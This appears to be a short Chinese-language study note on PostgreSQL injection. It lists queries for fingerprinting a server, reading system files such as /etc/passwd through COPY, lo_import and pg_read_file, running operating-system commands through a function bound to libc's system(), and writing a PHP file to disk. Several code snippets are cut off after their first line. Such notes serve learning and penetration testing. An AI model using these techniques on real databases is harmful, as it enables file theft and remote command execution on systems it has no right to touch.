对PostgreSQL的基本操作和注入不是很了解,做一些笔记。
常用函数查看基本信息:
查看版本信息
1 | SELECT version(); |
查看当前用户
1 | SELECT current_user; |
查看启动该sesson的用户
1 | SELECT session_user; |
查看当前数据库
1 | SELECT current_database(); |
PostgreSQL下的IF
1 | CASE |
读取文件
注意:需要Superuser
权限,低版本pg_read_file
不支持绝对路径,仅能读取data_directory
目录下的文件。可以使用show data_directory
获取路径。
访问data_directory
路径下的文件,使用相对路径也可。
- 创建数据表把读到的文件copy入表:
1 | drop table demo; |
结果如下所示:(读取一行)
- 利用postgresql大对象处理来读文件
1 | Select lo_import('/etc/passwd',12345678); |
结果如下所示:
- 高版本直接利用pg_read_file读取文件:
1 | SELECT pg_read_file(filepath+filename); |
结果如下所示:
执行命令
Postgresql 8.2以下的版本直接调用/lib/libc.so.6或者/lib64/libc.so.6,可以执行命令:
1 | create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict; |
需要注意的是:Ubuntu中libc.so.6位于/lib/x86_64-linux-gnu目录下。高版本的系统存在安全机制无法 调用系统libc.sso.6,需要手动利用UDF进行命令执行。先查看postgresql支持的扩展语言:select * from pg_language; Postgresql默认支持C,可以自己编译so库去创建执行命令的函数利用。
当postgresql版本高于8.2存在安全机制无法调用系统libc.so.6所以需要自己利用UDF进行命令执行,具体参加下面参考文章。
写入文件
1 | COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; |
参考文章: